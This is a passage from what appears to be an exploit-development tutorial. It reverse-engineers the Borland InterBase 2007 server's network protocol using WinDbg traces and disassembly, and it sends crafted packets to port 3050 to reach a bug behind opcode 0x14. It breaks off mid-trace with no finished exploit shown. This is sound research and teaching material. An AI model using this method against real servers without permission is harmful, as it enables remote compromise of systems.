0:003> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 010efc0c 00411008 00a965d4 010efc24 00000004 ibserver+0x10fe6 010efc24 00419043 00a965d4 010efc38 00000001 ibserver+0x11008 010efc3c 00412a06 00a965d4 00a9bab4 00000002 ibserver+0x19043 010efdd8 004103c5 00a965d4 00a9bab4 0001b7a4 ibserver+0x12a06 010efdf4 00405205 00a9bdec 00a9bab4 827c7840 ibserver+0x103c5 010eff18 0040411c 00a9bdec 0000005a 00a9bdec ibserver+0x5205 010eff80 77c3a3b0 00000000 00000000 00000000 ibserver+0x411c 010effb4 7c80b50b 00aa0388 00000000 00000000 MSVCRT!endthreadex+0xa9 010effec 00000000 77c3a341 00aa0388 00000000 kernel32!GetModuleFileNameA+0x1b4 0:003> dc 010efc24-4 010efc20 41414141 010efc3c 00419043 00a965d4 AAAA<...C.A..e.. 010efc30 010efc38 00000001 00000000 010efdd8 8............... 010efc40 00412a06 00a965d4 00a9bab4 00000002 .*A..e.......... 010efc50 fa0a1f00 ffffffff 00000000 00000000 ................ 010efc60 0000001c 00000000 00000068 00000000 ........h....... 010efc70 ea0b0002 00000000 00000000 010efd40 ............@... 010efc80 90040002 0101010a 00000028 001468e0 ........(....h.. 010efc90 010efcc8 00000000 00000000 00000000 ................Remember every byte that got copied also incremented the address of the buffer, so we have to subtract the size to display our value. And it appears we are correct. This function calls receive and checks the first dword of the received data. Another observation is that it still has the rest of the data, so what comes after the first dword is important.
Here's another tip. I tend to try and use something besides all "A"s when doing this. The reason for that is if I see my data being accessed i'll know the specific offset of my string im working on. For instance I could have generated a unique string for this instance say starting with "1234" and instantly I would know that all of this was simply copying the first four characters from my data. In many cases the processing of this buffer is complex and identifying the significance of each byte is crucial.
Lets return now that we know we can send up to 0x2000 bytes of data, and the first 4 will be used for something in the future.
0x00411008 add esp, 0Ch 0x0041100B test eax, eax 0x0041100D jnz short loc_411013 0x00411013 loc_411013: ; CODE XREF: sub_410FF1+1Cj 0x00411013 mov ecx, [ebp+netlong] ; our first dword 0x00411016 push ecx ; netlong 0x00411017 call ds:ntohl 0x0041101D mov edx, [ebp+arg_4] 0x00411020 mov [edx], eax 0x00411022 mov eax, 1 ; returning 1!This seems very straight forward. We make sure our previous function returned 1 (True) and then we flip the bytes to host byte order. In the debugger we see.
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000 eip=00411008 esp=010efc14 ebp=010efc24 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 ibserver+0x11008: 00411008 83c40c add esp,0Ch 0:003> t eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000 eip=0041100b esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 ibserver+0x1100b: 0041100b 85c0 test eax,eax 0:003> t eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000 eip=0041100d esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x1100d: 0041100d 7504 jne ibserver+0x11013 (00411013) [br=1] 0:003> t eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000 eip=00411013 esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11013: 00411013 8b4dfc mov ecx,dword ptr [ebp-4] ss:0023:010efc20=41414141 0:003> t eax=00000001 ebx=00aa0388 ecx=41414141 edx=00a965d4 esi=00aa0758 edi=00000000 eip=00411016 esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11016: 00411016 51 push ecx 0:003> t eax=00000001 ebx=00aa0388 ecx=41414141 edx=00a965d4 esi=00aa0758 edi=00000000 eip=00411017 esp=010efc1c ebp=010efc24 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11017: 00411017 ff1550145a00 call dword ptr [ibserver+0x1a1450 (005a1450)] 005a1450={WS2_32!ntohl (71ab2bc0)} 0:003> p eax=41414141 ebx=00aa0388 ecx=00004141 edx=00004141 esi=00aa0758 edi=00000000 eip=0041101d esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x1101d: 0041101d 8b550c mov edx,dword ptr [ebp+0Ch] ss:0023:010efc30=010efc38 0:003> t eax=41414141 ebx=00aa0388 ecx=00004141 edx=010efc38 esi=00aa0758 edi=00000000 eip=00411020 esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11020: 00411020 8902 mov dword ptr [edx],eax ds:0023:010efc38=00000000 0:003> t eax=41414141 ebx=00aa0388 ecx=00004141 edx=010efc38 esi=00aa0758 edi=00000000 eip=00411022 esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11022: 00411022 b801000000 mov eax,1 0:003> tAhh so this is cool, but remember when I mentioned having a unique pattern and how super helpful it can be? Heres the call again with "1234" at the beginning.
C:\>ibserver.py 10.1.1.132 3050 [*] Connecting to [10.1.1.132:3050] [*] Sending [1234AAAAAAAAAAAAAAAA] [*] Closing socket C:\>
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a908d4 esi=00aa0758 edi=00000000 eip=00411013 esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11013: 00411013 8b4dfc mov ecx,dword ptr [ebp-4] ss:0023:010efc20=34333231 0:003> t eax=00000001 ebx=00aa0388 ecx=34333231 edx=00a908d4 esi=00aa0758 edi=00000000 eip=00411016 esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11016: 00411016 51 push ecx 0:003> t eax=00000001 ebx=00aa0388 ecx=34333231 edx=00a908d4 esi=00aa0758 edi=00000000 eip=00411017 esp=010efc1c ebp=010efc24 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11017: 00411017 ff1550145a00 call dword ptr [ibserver+0x1a1450 (005a1450)] 005a1450={WS2_32!ntohl (71ab2bc0)} 0:003> p eax=31323334 ebx=00aa0388 ecx=00003433 edx=00003334 esi=00aa0758 edi=00000000 eip=0041101d esp=010efc20 ebp=010efc24 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x1101d: 0041101d 8b550c mov edx,dword ptr [ebp+0Ch] ss:0023:010efc30=010efc38 0:003> tSo that seems a little easier to see as opposed to 0x41414141. Continuing on we know that the bytes get flipped as we would expect. We also saw our return value being set to True which is cool.
The function we return too is pretty simple. Nothing to talk about except the fact we see our first four bytes of data being copied to a dword pointer that was passed to this function. Also we are returning True since the previous function succeeded as well. Im starting to think that first dword is important :)
eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000 eip=00419043 esp=010efc2c ebp=010efc3c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x19043: 00419043 83c408 add esp,8 0:003> t eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000 eip=00419046 esp=010efc34 ebp=010efc3c iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 ibserver+0x19046: 00419046 85c0 test eax,eax 0:003> t eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000 eip=00419048 esp=010efc34 ebp=010efc3c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x19048: 00419048 7504 jne ibserver+0x1904e (0041904e) [br=1] 0:003> t eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000 eip=0041904e esp=010efc34 ebp=010efc3c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x1904e: 0041904e 8b450c mov eax,dword ptr [ebp+0Ch] ss:0023:010efc48=00a8be68 0:003> t eax=00a8be68 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000 eip=00419051 esp=010efc34 ebp=010efc3c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x19051: 00419051 8b4dfc mov ecx,dword ptr [ebp-4] ss:0023:010efc38=31323334 0:003> t eax=00a8be68 ebx=00aa0388 ecx=31323334 edx=010efc38 esi=00aa0758 edi=00000000 eip=00419054 esp=010efc34 ebp=010efc3c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x19054: 00419054 8908 mov dword ptr [eax],ecx ds:0023:00a8be68=00000000 0:003> t eax=00a8be68 ebx=00aa0388 ecx=31323334 edx=010efc38 esi=00aa0758 edi=00000000 eip=00419056 esp=010efc34 ebp=010efc3c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x19056: 00419056 b801000000 mov eax,1Continuing on! Now we are getting somewhere. Here is a high level look (cropped) at the graph of said function.

This function appears to take our dword value, compare it against some constants, and then call through a function table depending on what value we have supplied. As you can tell, this is a command processing function of sorts, so let's look at how our dword gets evaluated.
0x00412A4D mov edx, [ebp+our_dword_ptr] 0x00412A50 mov eax, [edx] ; 31323334 0x00412A52 mov [ebp+local_dword], eax 0x00412A55 cmp [ebp+local_dword], 4 0x00412A59 jz loc_412B7D 0x00412A59 0x00412A5F cmp [ebp+local_dword], 47h 0x00412A63 jz loc_412B7D 0x00412A63 0x00412A69 cmp [ebp+local_dword], 6 0x00412A6D jz loc_412B7D 0x00412A6D 0x00412A73 cmp [ebp+local_dword], 3 0x00412A77 jz loc_412B7D 0x00412A77 0x00412A7D cmp [ebp+local_dword], 5Bh 0x00412A81 jz loc_412B7D 0x00412A81 0x00412A87 cmp [ebp+local_dword], 1 0x00412A8B jz loc_412B7D 0x00412A8B 0x00412A91 cmp [ebp+local_dword], 13h 0x00412A95 jz loc_412B7D 0x00412A95 0x00412A9B cmp [ebp+local_dword], 14h 0x00412A9F jz loc_412B7D 0x00412A9F 0x00412AA5 cmp [ebp+local_dword], 52h 0x00412AA9 jz loc_412B7D 0x00412AA9 0x00412AAF cmp [ebp+local_dword], 36h 0x00412AB3 jz loc_412B7DWell now, isn't that unfortunate for us. It appears we must supply one of these values before we can proceed. What's happening is our dword is being checked against these static values and since we never match, we never make it further. However if you keep tracing there is an interesting piece of info we gather from the error the process throws.
0x00412B4C mov ecx, [ebp+local_dword] 0x00412B4F push ecx 0x00412B50 push offset str__ProtocolXdr_protocolO ; "PROTOCOL/xdr_protocol: opcode %d has no"... 0x00412B55 lea edx, [ebp+var_174] 0x00412B5B push edx ; char * 0x00412B5C call ds:__imp_sprintfOhhh look! It's printing an error message related to xdr protocol parsing. And the first argument to that is labeled "opcode". So now we know our first dword is (as you probably guessed) some sort of opcode. Also since we know this message is going somewhere i'll check the Borland logfile! Also I would be checking the arguments to the insecure sprintf as well...but Ill leave that as an exercise for the reader ;)
C:\Program Files\Borland\InterBase\interbase.log: BORLANDIB2007 (Server) Fri Jul 20 14:45:59 2007 PROTOCOL/xdr_protocol: opcode 825373492 has no context, client host = UNKNOWN connection name = BORLANDIB2007 user name = UNKNOWNGo python!
>>> print "%x" % 825373492 31323334 >>>So there we are. We know the first 4 bytes are an opcode. We also know that it can only be a limited set of opcodes. So let's go back and change our script to send a valid opcode. I will use 0x14 because I know thats where the bug is (you could obviously write a quick nasty fuzzer to cycle through these opcodes).
C:\>ibserver.py 10.1.1.132 3050 [*] Connecting to [10.1.1.132:3050] [*] Sending ['\x00\x00\x00\x14AAAAAAAAAAAAAAAA'] [*] Closing socket C:\>Ive set a break point on our target so I can continue where I left off.
0:006> bp 00412A9B 0:006> g Breakpoint 0 hit eax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000 eip=00412a9b esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12a9b: 00412a9b 837d8c14 cmp dword ptr [ebp-74h],14h ss:0023:010efd64=00000014 0:003> t eax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000 eip=00412a9f esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12a9f: 00412a9f 0f84d8000000 je ibserver+0x12b7d (00412b7d) [br=1] 0:003> t eax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000 eip=00412b7d esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12b7d: 00412b7d 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a87790Back in the saddle, yeehaw! The next basic block is straight forward.
0x00412B7D mov ecx, [ebp+our_dword_ptr] 0x00412B80 mov edx, [ecx] 0x00412B82 mov [ebp+var_18C], edx 0x00412B88 mov eax, [ebp+var_18C] 0x00412B8E sub eax, 1 0x00412B91 mov [ebp+var_18C], eax 0x00412B97 cmp [ebp+var_18C], 5Ch 0x00412B9E ja loc_41408FWe take our opcode and decrement it by one. Then it's checked to make sure it's not over the opcode limit of 0x5c. We're good to go since we are at 0x13 right now. Moving on we see
0x00412BA4 mov edx, [ebp+var_18C] 0x00412BAA xor ecx, ecx 0x00412BAC mov cl, ds:byte_414131[edx] 0x00412BB2 jmp ds:off_414095[ecx*4]This is actually what our switch statement has been compiled down to. It is simply taking the opcode we supplied, getting an index from the global switch table, and jumping to that index in the binary. This contains a mix of byte arrays and function arrays as can be seen by the "byte_414131[edx]" and "off_414095[ecx*4]". Our byte array appears like this
0x00414131 byte_414131 db 0 ; DATA XREF: sub_4129F0+1BCr 0x00414132 db 26h 0x00414133 db 1 0x00414134 db 2 0x00414135 db 26h ; & 0x00414136 db 2 0x00414137 db 26h ; & 0x00414138 db 26h ; & 0x00414139 db 3 0x0041413A db 26h ; & 0x0041413B db 26h ; & 0x0041413C db 26h ; & 0x0041413D db 26h ; & 0x0041413E db 26h ; & 0x0041413F db 26h ; & 0x00414140 db 26h ; & 0x00414141 db 26h ; & 0x00414142 db 26h ; & 0x00414143 db 4 0x00414144 db 4We can calculate that taken byte array 0x00414131[0x13] will equate to 0x00414144
0x00414131 + 0x13 == 00414144If we look that up in the table we have "db 4". So in the following table we will be accessing the 4th dword. off_414095[] is below (Slightly truncated).
0x00414095 off_414095 dd offset loc_412BC3 ; DATA XREF: sub_4129F0+1C2r 0x00414099 dd offset loc_412D5F 0x0041409D dd offset loc_412BB9 0x004140A1 dd offset loc_413099 0x004140A5 dd offset loc_412E68 0x004140A9 dd offset loc_4134FD 0x004140AD dd offset loc_412ED5 0x004140B1 dd offset loc_412F24 0x004140B5 dd offset loc_412FCD 0x004140B9 dd offset loc_413390 0x004140BD dd offset loc_413268 0x004140C1 dd offset loc_4132B7 0x004140C5 dd offset loc_4133DF 0x004140C9 dd offset loc_41357D 0x004140CD dd offset loc_413626So we can access this easily
jmp ds:off_414095[0x04*4] 0x00414095 + (0x04 * 4) == 0x004140A5If we look that up in the table we get the offset location "dd offset loc_412E68". My bet is that's where we are headed to.
eax=00000013 ebx=00aa0388 ecx=00a96240 edx=00000014 esi=00aa0758 edi=00000000 eip=00412ba4 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297 ibserver+0x12ba4: 00412ba4 8b9574feffff mov edx,dword ptr [ebp-18Ch] ss:0023:010efc4c=00000013 0:003> t eax=00000013 ebx=00aa0388 ecx=00a96240 edx=00000013 esi=00aa0758 edi=00000000 eip=00412baa esp=010efc4c ebp=010efdd8 iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297 ibserver+0x12baa: 00412baa 33c9 xor ecx,ecx 0:003> t eax=00000013 ebx=00aa0388 ecx=00000000 edx=00000013 esi=00aa0758 edi=00000000 eip=00412bac esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12bac: 00412bac 8a8a31414100 mov cl,byte ptr ibserver+0x14131 (00414131)[edx] ds:0023:00414144=04 0:003> t eax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000 eip=00412bb2 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12bb2: 00412bb2 ff248d95404100 jmp dword ptr ibserver+0x14095 (00414095)[ecx*4] ds:0023:004140a5=00412e68 0:003> t eax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000 eip=00412e68 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12e68: 00412e68 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a96240Good ole WinDbg, handling the mess for us. Regardless, being able to find these offsets statically is a useful skill to have, I suppose. When we take the jump we find a few basic blocks. These three basic blocks call a function, check the return code for true or false and either continue or return false from the function. With what we have seen previously, we can almost be certain that we must make it through these functions to the basic block that returns 1 (true) for us. With that said, we can see the first basic block contains a call to a previously reversed function.
0x00412E68 mov ecx, [ebp+our_dword_ptr] 0x00412E6B add ecx, 130h 0x00412E71 mov [ebp+our_buffer], ecx 0x00412E74 mov edx, [ebp+our_buffer] 0x00412E77 push edx 0x00412E78 mov eax, [ebp+recv_info_struct] 0x00412E7B push eax 0x00412E7C call get_next_4_bytes 0x00412E7C 0x00412E81 add esp, 8 0x00412E84 test eax, eax 0x00412E86 jnz short loc_412E8FI have labeled this function get_next_4_bytes because as we have seen before thats pretty much what it does. Although this function reads 4 bytes from the user only the low two are kept as can be seen by the debugger.
eax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000 eip=00412e68 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12e68: 00412e68 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a8345c 0:003> t eax=00000013 ebx=00aa0388 ecx=00a8345c edx=00000013 esi=00aa0758 edi=00000000 eip=00412e6b esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12e6b: 00412e6b 81c130010000 add ecx,130h 0:003> t eax=00000013 ebx=00aa0388 ecx=00a8358c edx=00000013 esi=00aa0758 edi=00000000 eip=00412e71 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e71: 00412e71 894dc8 mov dword ptr [ebp-38h],ecx ss:0023:010efda0=71ab3f2d 0:003> t eax=00000013 ebx=00aa0388 ecx=00a8358c edx=00000013 esi=00aa0758 edi=00000000 eip=00412e74 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e74: 00412e74 8b55c8 mov edx,dword ptr [ebp-38h] ss:0023:010efda0=00a8358c 0:003> t eax=00000013 ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000 eip=00412e77 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e77: 00412e77 52 push edx 0:003> t eax=00000013 ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000 eip=00412e78 esp=010efc48 ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e78: 00412e78 8b4508 mov eax,dword ptr [ebp+8] ss:0023:010efde0=00a8810c 0:003> t eax=00a8810c ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000 eip=00412e7b esp=010efc48 ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e7b: 00412e7b 50 push eax 0:003> t eax=00a8810c ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000 eip=00412e7c esp=010efc44 ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e7c: 00412e7c e808640000 call ibserver+0x19289 (00419289) 0:003> p eax=00000001 ebx=00aa0388 ecx=00004142 edx=010efc38 esi=00aa0758 edi=00000000 eip=00412e81 esp=010efc44 ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e81: 00412e81 83c408 add esp,8 0:003> dc 00a8358c 00a8358c 00004748 00000000 00000000 00000000 HG.............. 00a8359c 00000000 00000000 00000000 00000000 ................ 00a835ac 00000000 00000000 00000000 00000000 ................ 00a835bc 00000000 00000000 00000000 00000000 ................ 00a835cc 00000000 00000000 00000000 00000000 ................ 00a835dc 00000000 00000000 00000000 00000000 ................ 00a835ec 00000000 00000000 00000000 00000000 ................ 00a835fc 00000000 00000000 00000000 00000000 ................Since we seem to have returned true, we won't worry to much about this data. Continuing on, we hit another function in the next basic block after we successfully jump. We are going to keep an eye on the arguments to it and skip the function checking the return code.
eax=00000001 ebx=00aa0388 ecx=00004748 edx=010efc38 esi=00aa0758 edi=00000000 eip=00412e8f esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e8f: 00412e8f 8b4dc8 mov ecx,dword ptr [ebp-38h] ss:0023:010efda0=00a82fb8 0:003> t eax=00000001 ebx=00aa0388 ecx=00a82fb8 edx=010efc38 esi=00aa0758 edi=00000000 eip=00412e92 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e92: 00412e92 83c104 add ecx,4 0:003> tWe can see here ecx is our previous buffer, where the last function copied the low 2 bytes of user data into. We are adding 4 here to skip to the next dword in this buffer.
eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=010efc38 esi=00aa0758 edi=00000000 eip=00412e95 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e95: 00412e95 51 push ecx 0:003> dc ecx 00a82fbc 00000000 00000000 00000000 00000000 ................ 00a82fcc 00000000 00000000 00000000 00000000 ................ 00a82fdc 00000000 00000000 00000000 00000000 ................ 00a82fec 00000000 00000000 00000000 00000000 ................ 00a82ffc 00000000 00000000 00000000 00000000 ................ 00a8300c 00000000 00000000 00000000 00000000 ................ 00a8301c 00000000 00000000 00000000 00000000 ................ 00a8302c 00000000 00000000 00000000 00000000 ................ 0:003> dc ecx-4 00a82fb8 00004748 00000000 00000000 00000000 HG.............. 00a82fc8 00000000 00000000 00000000 00000000 ................ 00a82fd8 00000000 00000000 00000000 00000000 ................ 00a82fe8 00000000 00000000 00000000 00000000 ................ 00a82ff8 00000000 00000000 00000000 00000000 ................ 00a83008 00000000 00000000 00000000 00000000 ................ 00a83018 00000000 00000000 00000000 00000000 ................ 00a83028 00000000 00000000 00000000 00000000 ................ 0:003> tLike we thought, this is the buffer we will check after we hop the subsequent function call.
eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=010efc38 esi=00aa0758 edi=00000000 eip=00412e96 esp=010efc48 ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e96: 00412e96 8b5508 mov edx,dword ptr [ebp+8] ss:0023:010efde0=00a88134 0:003> t eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=00a88134 esi=00aa0758 edi=00000000 eip=00412e99 esp=010efc48 ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e99: 00412e99 52 push edx 0:003> t eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=00a88134 esi=00aa0758 edi=00000000 eip=00412e9a esp=010efc44 ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12e9a: 00412e9a e8a1130000 call ibserver+0x14240 (00414240) 0:003> p eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412e9f esp=010efc44 ebp=010efdd8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x12e9f: 00412e9f 83c408 add esp,8 0:003> dc 00a82fb8 00a82fb8 00004748 43444344 00a83d6c 00000000 HG..DCDCl=...... 00a82fc8 00000000 00000000 00000000 00000000 ................ 00a82fd8 00000000 00000000 00000000 00000000 ................ 00a82fe8 00000000 00000000 00000000 00000000 ................ 00a82ff8 00000000 00000000 00000000 00000000 ................ 00a83008 00000000 00000000 00000000 00000000 ................ 00a83018 00000000 00000000 00000000 00000000 ................ 00a83028 00000000 00000000 00000000 00000000 ................ 0:003> tOk here we have skipped the function. It has returned true (good for us!) and we can check that location in memory that we previously discussed. It seems as though this function also reads 4 bytes of user data, only keeps the low 2 bytes, but differing from the previous it stores those 2 bytes twice. Our original string was 0x41424344, again keep in mind the benefit of using non-repeating characters in your user supplied input. Oh well if the function returned true we will just store this in the back of our head and continue on.
eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412ea2 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12ea2: 00412ea2 85c0 test eax,eax 0:003> t eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412ea4 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12ea4: 00412ea4 7507 jne ibserver+0x12ead (00412ead) [br=1] 0:003> t eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412ead esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12ead: 00412ead 8b45c8 mov eax,dword ptr [ebp-38h] ss:0023:010efda0=00a82fb8 0:003> t eax=00a82fb8 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412eb0 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x12eb0: 00412eb0 83c00c add eax,0Ch 0:003> t eax=00a82fc4 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412eb3 esp=010efc4c ebp=010efdd8 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 ibserver+0x12eb3: 00412eb3 50 push eax 0:003> t eax=00a82fc4 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000 eip=00412eb4 esp=010efc48 ebp=010efdd8 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 ibserver+0x12eb4: 00412eb4 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:010efde0=00a88134 0:003> t eax=00a82fc4 ebx=00aa0388 ecx=00a88134 